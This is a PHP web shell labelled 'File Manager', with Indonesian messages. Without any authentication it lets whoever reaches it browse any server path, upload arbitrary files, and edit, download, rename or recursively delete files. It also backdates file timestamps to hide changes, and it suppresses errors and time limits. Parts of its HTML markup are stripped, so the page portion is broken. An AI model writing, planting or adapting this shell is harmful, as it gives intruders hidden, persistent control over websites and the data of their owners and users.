error_reporting(0);
set_time_limit(0);

function perms($file) {
$perms = fileperms($file);

switch ($perms & 0xF000) {
case 0xC000: // socket
$info = 's';
break;
case 0xA000: // symbolic link
$info = 'l';
break;
case 0x8000: // regular
$info = '-';
break;
case 0x6000: // block special
$info = 'b';
break;
case 0x4000: // directory
$info = 'd';
break;
case 0x2000: // character special
$info = 'c';
break;
case 0x1000: // FIFO pipe
$info = 'p';
break;
default: // unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}

if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);

if (isset($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $key => $tmp_name) {
$name = $_FILES['files']['name'][$key];
$tmp_name = $_FILES['files']['tmp_name'][$key];
if (move_uploaded_file($tmp_name, "$path/$name")) {
echo "Upload Berhasil: $name<br/>";
} else {
echo "Upload Gagal: $name<br/>";
}
}
}

if (isset($_POST['create_folder'])) {
$new_folder = $_POST['new_folder'];
if (mkdir("$path/$new_folder")) {
echo "Folder berhasil dibuat: $new_folder<br/>";
} else {
echo "Gagal membuat folder: $new_folder<br/>";
}
}

if (isset($_POST['create_file'])) {
$new_file = $_POST['new_file'];
if (touch("$path/$new_file")) {
echo "File berhasil dibuat: $new_file<br/>";
} else {
echo "Gagal membuat file: $new_file<br/>";
}
}

if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Length: ' . filesize($file));
flush();
readfile($file);
exit;
}
}

if (isset($_POST['delete'])) {
$delete_path = $_POST['delete'];
if (is_dir($delete_path)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($delete_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);

foreach ($files as $fileinfo) {
$todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
$todo($fileinfo->getRealPath());
}
rmdir($delete_path);
} else {
unlink($delete_path);
}
}

if (isset($_POST['rename'])) {
$old_name = $_POST['old_name'];
$new_name = $_POST['new_name'];
if (rename($old_name, $new_name)) {
echo "Rename berhasil<br/>";
} else {
echo "Rename gagal<br/>";
}
}

if (isset($_POST['edit'])) {
$file_path = $_POST['file_path'];
$content = $_POST['content'];
if (file_put_contents($file_path, $content)) {
echo "Edit file berhasil<br/>";
} else {
echo "Edit file gagal<br/>";
}
}

if (isset($_POST['change_time'])) {
$file_path = $_POST['file_path'];
$new_time = strtotime($_POST['new_time']);
if (touch($file_path, $new_time, $new_time)) {
echo "Waktu file berhasil diubah<br/>";
} else {
echo "Gagal mengubah waktu file<br/>";
}
}


<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
File Manager <title>File Manager</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #2e2e2e;
color: #ffffff;
}
table {
width: 100%;
border-collapse: collapse;
}
table, th, td {
border: 1px solid #ffffff;
}
th, td {
padding: 8px;
text-align: left;
}
th {
background-color: #4CAF50;
}
tr:nth-child(even) {
background-color: #333333;
}
tr:nth-child(odd) {
background-color: #3e3e3e;
}
a {
color: #4CAF50;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
.button {
background-color: #4CAF50;
border: none;
color: white;
padding: 10px 20px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
}
.button-red {
background-color: #f44336;
}
</style>


File Manager


<div>
Path:

foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
echo '<a href="?path=/">/</a>';
continue;
}
if ($pat == '') continue;
echo '<a href="?path=';
for ($i = 0; $i <= $id; $i++) {
echo "$paths[$i]";
if ($i != $id) echo "/";
}
echo '">' . $pat . '</a>/';
}

</div>














if (isset($_GET['filesrc'])) {
$file = $_GET['filesrc'];
echo "

Melihat File: " . htmlspecialchars(basename($file)) . "

";
echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
} elseif (isset($_GET['edit'])) {
$file = $_GET['edit'];
echo "

Mengedit File: " . htmlspecialchars(basename($file)) . "

";
echo '

<textarea name="content" rows="20" cols="80">' . htmlspecialchars(file_get_contents($file)) . '</textarea><br/>


';
} else {
echo '';
echo '<th>Nama</th><th>Ukuran</th><th>Permisi</th><th>Waktu Modifikasi</th><th>Waktu Pembuatan</th><th>Aksi</th>';

$scandir = scandir($path);
foreach ($scandir as $dir) {
if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo '






';
}

foreach ($scandir as $file) {
if (!is_file("$path/$file")) continue;
$size = filesize("$path/$file") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size = $size . ' KB';
}
echo '






';
}
echo '
<i class="fa fa-folder"></i> <a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a>
--
';
if (is_writable("$path/$dir")) echo '<font color="lime">';
elseif (!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo '
' . date("d-M-Y H:i", filemtime("$path/$dir")) . '
' . date("Y-m-d H:i:s", filectime("$path/$dir")) . '










<i class="fa fa-file"></i> <a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a>
' . $size . '
';
if (is_writable("$path/$file")) echo '<font color="lime">';
elseif (!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo '
' . date("d-M-Y H:i", filemtime("$path/$file")) . '
' . date("Y-m-d H:i:s", filectime("$path/$file")) . '



















<a href="?download=' . $path . '/' . $file . '" class="button">Unduh</a>
';
}